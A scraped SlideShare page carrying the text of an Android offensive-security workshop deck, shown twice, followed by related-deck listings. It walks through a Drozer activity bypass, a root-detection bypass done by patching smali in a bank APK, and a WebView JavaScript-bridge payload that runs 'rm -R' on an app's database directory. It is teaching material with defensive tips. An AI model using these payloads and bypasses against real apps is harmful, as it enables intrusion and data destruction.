SlideShare ist ein Scribd-Unternehmen logo
1 von 75
Downloaden Sie, um offline zu lesen
WHO AM I
Next Generation problem Solver
Researcher & Reader in free time
Speaker at 
Facilitator at Weekend Testing
Bug bounty Hunter  (eX .Crowd Tester)
Reported Security Vulnerabilities for 50+ unique customers all over the world 
including Apple, yahoo, Outlook, adobe & etc.
Love to develop nasty code  & Hack it :)
Works as Security Researcher  at  
Certified Ethical Hacker  AKA. Bug Wrangler
Null  & OWASP Co mmunity
Accenture Digital Mobility
DISCLAIMER
This Presentation is intended for educational purposes only and I cannot be held liable for
any kind of damages done whatsoever to your machine, or other damages.  
Please - Don't try this attack on any others system without having context knowledge or
permission, this may harm to someone directly or indirectly.
Feel free to use this presentation for practice or education purpose.
It's no way related to my employer - its my own research and  ideas. 
^ I hope - You gotcha ^
 
HUMLA
MEANS 'ATTACK' IN HINDI
                        
 
SOCIAL MEDIA FEED
Hashtag for this session
     #NullHumla,  #MobileSecurity
: Twitter handle for feedback :
 @ @null0x00   Abhinav_Sejpal
???
~ WE AREN'T GOING TO DO THIS ~
So, feel free to stop when you have a doubt!
 Are you Ready to Rock
Android Smartphone to IOT
The Mobile market is fragmented, stakeholders want their
better cheaper faster mobile app - Correct? 
What is if it's has Vulnerable code? WOW :D 
 - Yet to update the stats - 
ANDROID PACKAGE - APK
DEVELOPMENT PLAN
ANDROID ARCHITECTURE 
MY HOME IS YOUR APK 
 
OUR ARSENAL
PREREQUISITES CHECKS
Genymotion Emulator
Santoku Linux /  Appie / Android Tamer  
Copy of Shared APK(s) : Here
DROZER FRAMEWORK
INTRODUCTION
Drozer Server
Drozer Agent 
BYPASS THE ACTIVITY VALIDATION
      
run app.activity.start --component sh.whisper
sh.whisper.WInboxActivity  
Self-Practice Session  
Challenge 1 – Bypass the fix authorization for the whisper
App 
nulltest2015@yahoo.in - Password!
 ADHOC  FORENSIC ANALYSIS 
Can we replicate this issue for the LinkedIn / Hike App ?
Linkedin Insecure data stroage
INSTALL THE BANK APP 
Oh No - I can't use the App due to rooted device  :(
  Smali code Analysis 
Step 1.  Reversing the APK to the JAR File (JavA file)
dex2jar-2.0/ d2j-dex2jar.sh bank.apk
STEP 2  
READ JAR USING JD-GUI
jd-gui bank-dex2jar.jar
STEP 3
Reversing the apk to the smali code
java -jar apktool_2.0.0.jar d bank.apk
4. LOCATE THE CODE WHICH DETECTS THE
ROOT 
5. LOCATE SAME LOGIC IN JAR 
STEP 6. PREPARE LOGICAL PATCH
We can't patch the Java code and get the binary 
- We have to patch the smali code with new logic of  
isRooted 
7. NEW LOGIC IS AVAILABLE IN SMALI
8. FIX THE SMALI CODE 
9. Rebuild the binary 
10. CREATE SELF-SIGNED
CERTIFICATE 
http://developer.android.com/tools/publishing/app-
signing.html
11. SIGN APK WITH JAR SIGNER   
12. CHECK -  ROOT DETECTION
* Updated apk has patched code *
~  SUMMARY ~  
Demo on Missing Root Detection - Done 
Demo on Reversing the APK  -  Done
Demo on rebuild the APK - Done 
Demo on weak Binary - Done 
Fix : Use the Dex Guard not the pro guard 
 Update the logical validation  - Done 
Identify attack surface at Smali code - Done 
Demo on Patch the Smali code - Done 
Demo on APK signing - Done 
Finally done the root detection bypass - Done 
ANDROID WEB-VIEW 
Android allows apps to create a bridge in order to render
HTML , javascript code  and allow interacting with the java
codes of the application using   WebKit open source web
browser engine
70 % of applications use WebViews  
THERE IS TWEAK WITH USAGE 
DISABLE SUPPORT FOR JAVASCRIPT
DISABLE SUPPORT FOR PLUGINS
DISABLE FILE SYSTEM ACCESS
 
WELL - HTTP VS HTTPS
  WEBVIEW = NEW WEBVIEW(THIS); 
WEBVIEW.GETSETTINGS().SETJAVASCRIPTENABLED(FALSE); 
IDENTIFY THE APP WITH THE WEBKIT
- Reverse the binary -
Find the webview  code  with  addJavascriptinterface
 enabled
 - Remember it's smali code - 
    IDENTIFY AND UNDERSTAND THE ACTIVITY WITH JAVASCRIPT ENABLE AT CLEAN JAVA CODE
 
VERIFY NETWORK IS MALICIOUS ?
HTTP VS  Vulnerable HTTPS VS  HTTPS  
Edit  the Response from cloud server   (Man In middle)
MALICIOUS JS VECTOR 
<script>
var path = ' /data/data/com.box.android/databases/---';
function execute(cmd){
document.write("WebView Vulnerability");
return window.Android.getClass().forName('java.lang.Runtime')
 }
execute([' /system/bin/rm', '-R', path]); 
</script>
BOOM - COMMAND HAS EXECUTED SUCCESSFULLY 
BYPASS THE ACTIVITY 
+
API ATTACKS WITH VK APP
YES - I'M DONE!
Feel free to write me at bug.wrangler at outlook.com
Or 
Tweet me at Abhinav_Sejpal
We need you!
Attend Null Meets-up & give presentations.
Share your ideas & leanings.
Talk to our community champions.
Your feedback helps us to build a good community.
Looking forward for your ongoing support.
 
http://null.co.in/
Say 'Hello' @null0x00
! THANK YOU ! 
@anantshri  @oldmanlab  @adi1391 @prateekg147
@5h1vang @exploitprotocol
 #Nullblr Leads & Champions
Big thank you to @null0x00, Satish, Apoorva & you All
LICENSE AND COPYRIGHTS
copyrights 2015-2016 
https://slides.com/abhinavsejpal/bangalore-android-null-
humla/  Abhinav Sejpal
-----
  ( CC BY-NC-ND 3.0)
Attribution-NonCommercial-NoDerivs 3.0 Unported
  Dedicated to my lovely daddy

Weitere ähnliche Inhalte

Was ist angesagt?

Was ist angesagt? (19)

Bug Bounty - Hackers Job
Bug Bounty - Hackers JobBug Bounty - Hackers Job
Bug Bounty - Hackers Job
 
Bug Bounty Secrets
Bug Bounty Secrets Bug Bounty Secrets
Bug Bounty Secrets
 
State of Web Security RailsConf 2016
State of Web Security RailsConf 2016State of Web Security RailsConf 2016
State of Web Security RailsConf 2016
 
Bug bounty hunting
Bug bounty huntingBug bounty hunting
Bug bounty hunting
 
Making the case for sandbox v1.1 (SD Conference 2007)
Making the case for sandbox v1.1 (SD Conference 2007)Making the case for sandbox v1.1 (SD Conference 2007)
Making the case for sandbox v1.1 (SD Conference 2007)
 
Nbt con december-2014-slides
Nbt con december-2014-slidesNbt con december-2014-slides
Nbt con december-2014-slides
 
Crypto Night at CSUS - Bug Bounties
Crypto Night at CSUS - Bug Bounties Crypto Night at CSUS - Bug Bounties
Crypto Night at CSUS - Bug Bounties
 
ESAPI
ESAPIESAPI
ESAPI
 
Bug bounty
Bug bountyBug bounty
Bug bounty
 
Owasp Top 10-2013
Owasp Top 10-2013Owasp Top 10-2013
Owasp Top 10-2013
 
Introduction to security testing
Introduction to security testingIntroduction to security testing
Introduction to security testing
 
Squashing bugs: Introduction to Bug Bounties ISSA Dehradun Chapter
Squashing bugs: Introduction to Bug Bounties ISSA Dehradun ChapterSquashing bugs: Introduction to Bug Bounties ISSA Dehradun Chapter
Squashing bugs: Introduction to Bug Bounties ISSA Dehradun Chapter
 
Bug Bounty Basics
Bug Bounty BasicsBug Bounty Basics
Bug Bounty Basics
 
Smartphone Security Assessment.LGiles2015
Smartphone Security Assessment.LGiles2015Smartphone Security Assessment.LGiles2015
Smartphone Security Assessment.LGiles2015
 
Perform fuzz on appplications web interface
Perform fuzz on appplications web interfacePerform fuzz on appplications web interface
Perform fuzz on appplications web interface
 
Intro to IronWASP
Intro to IronWASPIntro to IronWASP
Intro to IronWASP
 
3. backup file artifacts - mazin ahmed
3. backup file artifacts - mazin ahmed3. backup file artifacts - mazin ahmed
3. backup file artifacts - mazin ahmed
 
What the fuzz
What the fuzzWhat the fuzz
What the fuzz
 
Pentesting Android Applications
Pentesting Android ApplicationsPentesting Android Applications
Pentesting Android Applications
 

Andere mochten auch

Html5+js with game engine cocos2d-html5 분석 @KGC2012
Html5+js with game engine   cocos2d-html5 분석 @KGC2012Html5+js with game engine   cocos2d-html5 분석 @KGC2012
Html5+js with game engine cocos2d-html5 분석 @KGC2012Chanho Song
 
Layer 7 Mobile Security Workshop with CA Technologies and Forrester Research ...
Layer 7 Mobile Security Workshop with CA Technologies and Forrester Research ...Layer 7 Mobile Security Workshop with CA Technologies and Forrester Research ...
Layer 7 Mobile Security Workshop with CA Technologies and Forrester Research ...CA API Management
 
[2012 CodeEngn Conference 06] x82 - 모바일 스마트 플랫폼 원격, 로컬 취약점 공격 분석
[2012 CodeEngn Conference 06] x82 - 모바일 스마트 플랫폼 원격, 로컬 취약점 공격 분석[2012 CodeEngn Conference 06] x82 - 모바일 스마트 플랫폼 원격, 로컬 취약점 공격 분석
[2012 CodeEngn Conference 06] x82 - 모바일 스마트 플랫폼 원격, 로컬 취약점 공격 분석GangSeok Lee
 
Owasp summit 2017
Owasp summit 2017 Owasp summit 2017
Owasp summit 2017 Dinis Cruz
 
Lateral Movement: How attackers quietly traverse your Network
Lateral Movement: How attackers quietly traverse your NetworkLateral Movement: How attackers quietly traverse your Network
Lateral Movement: How attackers quietly traverse your NetworkEC-Council
 
HIPAA & HITECH Made Easy for Behavioral Health Professionals -- Marlene Maheu
HIPAA & HITECH Made Easy for Behavioral Health Professionals -- Marlene MaheuHIPAA & HITECH Made Easy for Behavioral Health Professionals -- Marlene Maheu
HIPAA & HITECH Made Easy for Behavioral Health Professionals -- Marlene MaheuMarlene Maheu
 
OFFENSIVE: Exploiting DNS servers changes BlackHat Asia 2014
OFFENSIVE: Exploiting DNS servers changes BlackHat Asia 2014OFFENSIVE: Exploiting DNS servers changes BlackHat Asia 2014
OFFENSIVE: Exploiting DNS servers changes BlackHat Asia 2014Leonardo Nve Egea
 
Android app Presentation and Documentation Vignan buddy presentation
Android app Presentation and Documentation Vignan buddy presentationAndroid app Presentation and Documentation Vignan buddy presentation
Android app Presentation and Documentation Vignan buddy presentationSaigopi Narimeti
 
Offensive Security with Metasploit
Offensive Security with MetasploitOffensive Security with Metasploit
Offensive Security with Metasploitegypt
 
HIPAA Compliance for Developers
HIPAA Compliance for DevelopersHIPAA Compliance for Developers
HIPAA Compliance for DevelopersTrueVault
 
PSOW 2016 - HIPAA Compliance for EMS Community
PSOW 2016 - HIPAA Compliance for EMS CommunityPSOW 2016 - HIPAA Compliance for EMS Community
PSOW 2016 - HIPAA Compliance for EMS CommunityPSOW
 
The Startup Path to HIPAA Compliance
The Startup Path to HIPAA ComplianceThe Startup Path to HIPAA Compliance
The Startup Path to HIPAA ComplianceJim Anfield
 
Office of Civil Rights HIPAA Audits Preparing Your Clients and Yourself
Office of Civil Rights HIPAA Audits Preparing Your Clients and YourselfOffice of Civil Rights HIPAA Audits Preparing Your Clients and Yourself
Office of Civil Rights HIPAA Audits Preparing Your Clients and YourselfPYA, P.C.
 
HIPAA Training - 2011
HIPAA Training - 2011HIPAA Training - 2011
HIPAA Training - 2011darichardson
 
MEG Primary Injection Project
MEG Primary Injection ProjectMEG Primary Injection Project
MEG Primary Injection ProjectFrancesco Legname
 

Andere mochten auch (20)

Html5+js with game engine cocos2d-html5 분석 @KGC2012
Html5+js with game engine   cocos2d-html5 분석 @KGC2012Html5+js with game engine   cocos2d-html5 분석 @KGC2012
Html5+js with game engine cocos2d-html5 분석 @KGC2012
 
Layer 7 Mobile Security Workshop with CA Technologies and Forrester Research ...
Layer 7 Mobile Security Workshop with CA Technologies and Forrester Research ...Layer 7 Mobile Security Workshop with CA Technologies and Forrester Research ...
Layer 7 Mobile Security Workshop with CA Technologies and Forrester Research ...
 
[2012 CodeEngn Conference 06] x82 - 모바일 스마트 플랫폼 원격, 로컬 취약점 공격 분석
[2012 CodeEngn Conference 06] x82 - 모바일 스마트 플랫폼 원격, 로컬 취약점 공격 분석[2012 CodeEngn Conference 06] x82 - 모바일 스마트 플랫폼 원격, 로컬 취약점 공격 분석
[2012 CodeEngn Conference 06] x82 - 모바일 스마트 플랫폼 원격, 로컬 취약점 공격 분석
 
Owasp summit 2017
Owasp summit 2017 Owasp summit 2017
Owasp summit 2017
 
Lateral Movement: How attackers quietly traverse your Network
Lateral Movement: How attackers quietly traverse your NetworkLateral Movement: How attackers quietly traverse your Network
Lateral Movement: How attackers quietly traverse your Network
 
HIPAA & HITECH Made Easy for Behavioral Health Professionals -- Marlene Maheu
HIPAA & HITECH Made Easy for Behavioral Health Professionals -- Marlene MaheuHIPAA & HITECH Made Easy for Behavioral Health Professionals -- Marlene Maheu
HIPAA & HITECH Made Easy for Behavioral Health Professionals -- Marlene Maheu
 
OFFENSIVE: Exploiting DNS servers changes BlackHat Asia 2014
OFFENSIVE: Exploiting DNS servers changes BlackHat Asia 2014OFFENSIVE: Exploiting DNS servers changes BlackHat Asia 2014
OFFENSIVE: Exploiting DNS servers changes BlackHat Asia 2014
 
Mobile Apps Security
Mobile Apps SecurityMobile Apps Security
Mobile Apps Security
 
HIPAA HITECH training 7-9-12
HIPAA HITECH training 7-9-12HIPAA HITECH training 7-9-12
HIPAA HITECH training 7-9-12
 
Hacking Shared Hosting with Symlink
Hacking Shared Hosting with SymlinkHacking Shared Hosting with Symlink
Hacking Shared Hosting with Symlink
 
Android app Presentation and Documentation Vignan buddy presentation
Android app Presentation and Documentation Vignan buddy presentationAndroid app Presentation and Documentation Vignan buddy presentation
Android app Presentation and Documentation Vignan buddy presentation
 
HIPAA
HIPAAHIPAA
HIPAA
 
Offensive Security with Metasploit
Offensive Security with MetasploitOffensive Security with Metasploit
Offensive Security with Metasploit
 
HIPAA Compliance for Developers
HIPAA Compliance for DevelopersHIPAA Compliance for Developers
HIPAA Compliance for Developers
 
PSOW 2016 - HIPAA Compliance for EMS Community
PSOW 2016 - HIPAA Compliance for EMS CommunityPSOW 2016 - HIPAA Compliance for EMS Community
PSOW 2016 - HIPAA Compliance for EMS Community
 
HIPAA and How it Applies to You
HIPAA and How it Applies to YouHIPAA and How it Applies to You
HIPAA and How it Applies to You
 
The Startup Path to HIPAA Compliance
The Startup Path to HIPAA ComplianceThe Startup Path to HIPAA Compliance
The Startup Path to HIPAA Compliance
 
Office of Civil Rights HIPAA Audits Preparing Your Clients and Yourself
Office of Civil Rights HIPAA Audits Preparing Your Clients and YourselfOffice of Civil Rights HIPAA Audits Preparing Your Clients and Yourself
Office of Civil Rights HIPAA Audits Preparing Your Clients and Yourself
 
HIPAA Training - 2011
HIPAA Training - 2011HIPAA Training - 2011
HIPAA Training - 2011
 
MEG Primary Injection Project
MEG Primary Injection ProjectMEG Primary Injection Project
MEG Primary Injection Project
 

Ähnlich wie Android mobile app security offensive security workshop

Owasp top 10 web application security hazards part 2
Owasp top 10 web application security hazards part 2Owasp top 10 web application security hazards part 2
Owasp top 10 web application security hazards part 2Abhinav Sejpal
 
Bug Bounty #Defconlucknow2016
Bug Bounty #Defconlucknow2016Bug Bounty #Defconlucknow2016
Bug Bounty #Defconlucknow2016Shubham Gupta
 
selenium-2-mobile-web-testing
selenium-2-mobile-web-testingselenium-2-mobile-web-testing
selenium-2-mobile-web-testinghugs
 
Building Mobile Friendly APIs in Rails
Building Mobile Friendly APIs in RailsBuilding Mobile Friendly APIs in Rails
Building Mobile Friendly APIs in RailsJim Jeffers
 
Making Security Agile
Making Security AgileMaking Security Agile
Making Security AgileOleg Gryb
 
Web application penetration testing lab setup guide
Web application penetration testing lab setup guideWeb application penetration testing lab setup guide
Web application penetration testing lab setup guideSudhanshu Chauhan
 
Security as a New Metric for Your Business, Product and Development Lifecycle...
Security as a New Metric for Your Business, Product and Development Lifecycle...Security as a New Metric for Your Business, Product and Development Lifecycle...
Security as a New Metric for Your Business, Product and Development Lifecycle...IT Arena
 
Security as a new metric for Business, Product and Development Lifecycle
Security as a new metric for Business, Product and Development LifecycleSecurity as a new metric for Business, Product and Development Lifecycle
Security as a new metric for Business, Product and Development LifecycleNazar Tymoshyk, CEH, Ph.D.
 
Introduction To Mobile-Automation
Introduction To Mobile-AutomationIntroduction To Mobile-Automation
Introduction To Mobile-AutomationMindfire Solutions
 
Mobile Testing with Selenium 2 by Jason Huggins
Mobile Testing with Selenium 2 by Jason HugginsMobile Testing with Selenium 2 by Jason Huggins
Mobile Testing with Selenium 2 by Jason HugginsSauce Labs
 
AppSec California 2016 - Making Security Agile
AppSec California 2016 - Making Security AgileAppSec California 2016 - Making Security Agile
AppSec California 2016 - Making Security AgileOleg Gryb
 
Protección web con ESAPI y AppSensor [GuadalajaraCON 2013]
Protección web con ESAPI y AppSensor [GuadalajaraCON 2013]Protección web con ESAPI y AppSensor [GuadalajaraCON 2013]
Protección web con ESAPI y AppSensor [GuadalajaraCON 2013]Websec México, S.C.
 
Google App Engine for Java v0.0.2
Google App Engine for Java v0.0.2Google App Engine for Java v0.0.2
Google App Engine for Java v0.0.2Matthew McCullough
 
Fixing security by fixing software development
Fixing security by fixing software developmentFixing security by fixing software development
Fixing security by fixing software developmentNick Galbreath
 
Angular js mobile jsday 2014 - Verona 14 may
Angular js mobile   jsday 2014 - Verona 14 mayAngular js mobile   jsday 2014 - Verona 14 may
Angular js mobile jsday 2014 - Verona 14 mayLuciano Amodio
 
The Future of Selenium Testing for Mobile Web and Native Apps
The Future of Selenium Testing for Mobile Web and Native AppsThe Future of Selenium Testing for Mobile Web and Native Apps
The Future of Selenium Testing for Mobile Web and Native AppsSauce Labs
 
Android reverse engineering - Analyzing skype
Android reverse engineering - Analyzing skypeAndroid reverse engineering - Analyzing skype
Android reverse engineering - Analyzing skypeMário Almeida
 

Ähnlich wie Android mobile app security offensive security workshop (20)

Owasp top 10 web application security hazards part 2
Owasp top 10 web application security hazards part 2Owasp top 10 web application security hazards part 2
Owasp top 10 web application security hazards part 2
 
Bug Bounty #Defconlucknow2016
Bug Bounty #Defconlucknow2016Bug Bounty #Defconlucknow2016
Bug Bounty #Defconlucknow2016
 
Backtrack Manual Part9
Backtrack Manual Part9Backtrack Manual Part9
Backtrack Manual Part9
 
selenium-2-mobile-web-testing
selenium-2-mobile-web-testingselenium-2-mobile-web-testing
selenium-2-mobile-web-testing
 
Building Mobile Friendly APIs in Rails
Building Mobile Friendly APIs in RailsBuilding Mobile Friendly APIs in Rails
Building Mobile Friendly APIs in Rails
 
Vaadin codemotion 2014
Vaadin codemotion 2014Vaadin codemotion 2014
Vaadin codemotion 2014
 
Making Security Agile
Making Security AgileMaking Security Agile
Making Security Agile
 
Web application penetration testing lab setup guide
Web application penetration testing lab setup guideWeb application penetration testing lab setup guide
Web application penetration testing lab setup guide
 
Security as a New Metric for Your Business, Product and Development Lifecycle...
Security as a New Metric for Your Business, Product and Development Lifecycle...Security as a New Metric for Your Business, Product and Development Lifecycle...
Security as a New Metric for Your Business, Product and Development Lifecycle...
 
Security as a new metric for Business, Product and Development Lifecycle
Security as a new metric for Business, Product and Development LifecycleSecurity as a new metric for Business, Product and Development Lifecycle
Security as a new metric for Business, Product and Development Lifecycle
 
Project Presentation
Project Presentation Project Presentation
Project Presentation
 
Introduction To Mobile-Automation
Introduction To Mobile-AutomationIntroduction To Mobile-Automation
Introduction To Mobile-Automation
 
Mobile Testing with Selenium 2 by Jason Huggins
Mobile Testing with Selenium 2 by Jason HugginsMobile Testing with Selenium 2 by Jason Huggins
Mobile Testing with Selenium 2 by Jason Huggins
 
AppSec California 2016 - Making Security Agile
AppSec California 2016 - Making Security AgileAppSec California 2016 - Making Security Agile
AppSec California 2016 - Making Security Agile
 
Protección web con ESAPI y AppSensor [GuadalajaraCON 2013]
Protección web con ESAPI y AppSensor [GuadalajaraCON 2013]Protección web con ESAPI y AppSensor [GuadalajaraCON 2013]
Protección web con ESAPI y AppSensor [GuadalajaraCON 2013]
 
Google App Engine for Java v0.0.2
Google App Engine for Java v0.0.2Google App Engine for Java v0.0.2
Google App Engine for Java v0.0.2
 
Fixing security by fixing software development
Fixing security by fixing software developmentFixing security by fixing software development
Fixing security by fixing software development
 
Angular js mobile jsday 2014 - Verona 14 may
Angular js mobile   jsday 2014 - Verona 14 mayAngular js mobile   jsday 2014 - Verona 14 may
Angular js mobile jsday 2014 - Verona 14 may
 
The Future of Selenium Testing for Mobile Web and Native Apps
The Future of Selenium Testing for Mobile Web and Native AppsThe Future of Selenium Testing for Mobile Web and Native Apps
The Future of Selenium Testing for Mobile Web and Native Apps
 
Android reverse engineering - Analyzing skype
Android reverse engineering - Analyzing skypeAndroid reverse engineering - Analyzing skype
Android reverse engineering - Analyzing skype
 

Android mobile app security offensive security workshop

  • 1.
  • 2. WHO AM I Next Generation problem Solver Researcher & Reader in free time Speaker at  Facilitator at Weekend Testing Bug bounty Hunter  (eX .Crowd Tester) Reported Security Vulnerabilities for 50+ unique customers all over the world  including Apple, yahoo, Outlook, adobe & etc. Love to develop nasty code  & Hack it :) Works as Security Researcher  at   Certified Ethical Hacker  AKA. Bug Wrangler Null  & OWASP Co mmunity Accenture Digital Mobility
  • 3. DISCLAIMER This Presentation is intended for educational purposes only and I cannot be held liable for any kind of damages done whatsoever to your machine, or other damages.   Please - Don't try this attack on any others system without having context knowledge or permission, this may harm to someone directly or indirectly. Feel free to use this presentation for practice or education purpose. It's no way related to my employer - its my own research and  ideas.  ^ I hope - You gotcha ^
  • 4.   HUMLA MEANS 'ATTACK' IN HINDI                         
  • 5.  
  • 6.
  • 7.
  • 8.
  • 9. SOCIAL MEDIA FEED Hashtag for this session      #NullHumla,  #MobileSecurity : Twitter handle for feedback :  @ @null0x00   Abhinav_Sejpal
  • 10. ??? ~ WE AREN'T GOING TO DO THIS ~ So, feel free to stop when you have a doubt!  Are you Ready to Rock
  • 12. The Mobile market is fragmented, stakeholders want their better cheaper faster mobile app - Correct?  What is if it's has Vulnerable code? WOW :D   - Yet to update the stats - 
  • 13.
  • 16.
  • 18. MY HOME IS YOUR APK 
  • 19.
  • 20.  
  • 21.
  • 23.
  • 24. PREREQUISITES CHECKS Genymotion Emulator Santoku Linux /  Appie / Android Tamer   Copy of Shared APK(s) : Here
  • 25.
  • 26.
  • 27.
  • 28.
  • 29.
  • 31.
  • 32. BYPASS THE ACTIVITY VALIDATION        run app.activity.start --component sh.whisper sh.whisper.WInboxActivity  
  • 33. Self-Practice Session   Challenge 1 – Bypass the fix authorization for the whisper App 
  • 34.
  • 35.
  • 36.
  • 37.
  • 39.
  • 40.
  • 41.
  • 43. Can we replicate this issue for the LinkedIn / Hike App ?
  • 45.
  • 46. INSTALL THE BANK APP  Oh No - I can't use the App due to rooted device  :(
  • 47.   Smali code Analysis  Step 1.  Reversing the APK to the JAR File (JavA file) dex2jar-2.0/ d2j-dex2jar.sh bank.apk
  • 48. STEP 2   READ JAR USING JD-GUI jd-gui bank-dex2jar.jar
  • 49.
  • 50. STEP 3 Reversing the apk to the smali code java -jar apktool_2.0.0.jar d bank.apk
  • 51. 4. LOCATE THE CODE WHICH DETECTS THE ROOT 
  • 52.
  • 53. 5. LOCATE SAME LOGIC IN JAR 
  • 54. STEP 6. PREPARE LOGICAL PATCH We can't patch the Java code and get the binary  - We have to patch the smali code with new logic of   isRooted 
  • 55. 7. NEW LOGIC IS AVAILABLE IN SMALI
  • 56. 8. FIX THE SMALI CODE  9. Rebuild the binary 
  • 58. 11. SIGN APK WITH JAR SIGNER    12. CHECK -  ROOT DETECTION * Updated apk has patched code *
  • 59.
  • 60. ~  SUMMARY ~   Demo on Missing Root Detection - Done  Demo on Reversing the APK  -  Done Demo on rebuild the APK - Done  Demo on weak Binary - Done  Fix : Use the Dex Guard not the pro guard   Update the logical validation  - Done  Identify attack surface at Smali code - Done  Demo on Patch the Smali code - Done  Demo on APK signing - Done  Finally done the root detection bypass - Done 
  • 61. ANDROID WEB-VIEW  Android allows apps to create a bridge in order to render HTML , javascript code  and allow interacting with the java codes of the application using   WebKit open source web browser engine 70 % of applications use WebViews  
  • 62.
  • 63. THERE IS TWEAK WITH USAGE  DISABLE SUPPORT FOR JAVASCRIPT DISABLE SUPPORT FOR PLUGINS DISABLE FILE SYSTEM ACCESS  
  • 64. WELL - HTTP VS HTTPS   WEBVIEW = NEW WEBVIEW(THIS);  WEBVIEW.GETSETTINGS().SETJAVASCRIPTENABLED(FALSE); 
  • 65. IDENTIFY THE APP WITH THE WEBKIT - Reverse the binary - Find the webview  code  with  addJavascriptinterface  enabled  - Remember it's smali code - 
  • 66.     IDENTIFY AND UNDERSTAND THE ACTIVITY WITH JAVASCRIPT ENABLE AT CLEAN JAVA CODE  
  • 67. VERIFY NETWORK IS MALICIOUS ? HTTP VS  Vulnerable HTTPS VS  HTTPS  
  • 68. Edit  the Response from cloud server   (Man In middle)
  • 69. MALICIOUS JS VECTOR  <script> var path = ' /data/data/com.box.android/databases/---'; function execute(cmd){ document.write("WebView Vulnerability"); return window.Android.getClass().forName('java.lang.Runtime')  } execute([' /system/bin/rm', '-R', path]);  </script>
  • 70. BOOM - COMMAND HAS EXECUTED SUCCESSFULLY 
  • 71. BYPASS THE ACTIVITY  + API ATTACKS WITH VK APP
  • 72. YES - I'M DONE! Feel free to write me at bug.wrangler at outlook.com Or  Tweet me at Abhinav_Sejpal
  • 73. We need you! Attend Null Meets-up & give presentations. Share your ideas & leanings. Talk to our community champions. Your feedback helps us to build a good community. Looking forward for your ongoing support.   http://null.co.in/ Say 'Hello' @null0x00
  • 74. ! THANK YOU !  @anantshri  @oldmanlab  @adi1391 @prateekg147 @5h1vang @exploitprotocol  #Nullblr Leads & Champions Big thank you to @null0x00, Satish, Apoorva & you All
  • 75. LICENSE AND COPYRIGHTS copyrights 2015-2016  https://slides.com/abhinavsejpal/bangalore-android-null- humla/  Abhinav Sejpal -----   ( CC BY-NC-ND 3.0) Attribution-NonCommercial-NoDerivs 3.0 Unported   Dedicated to my lovely daddy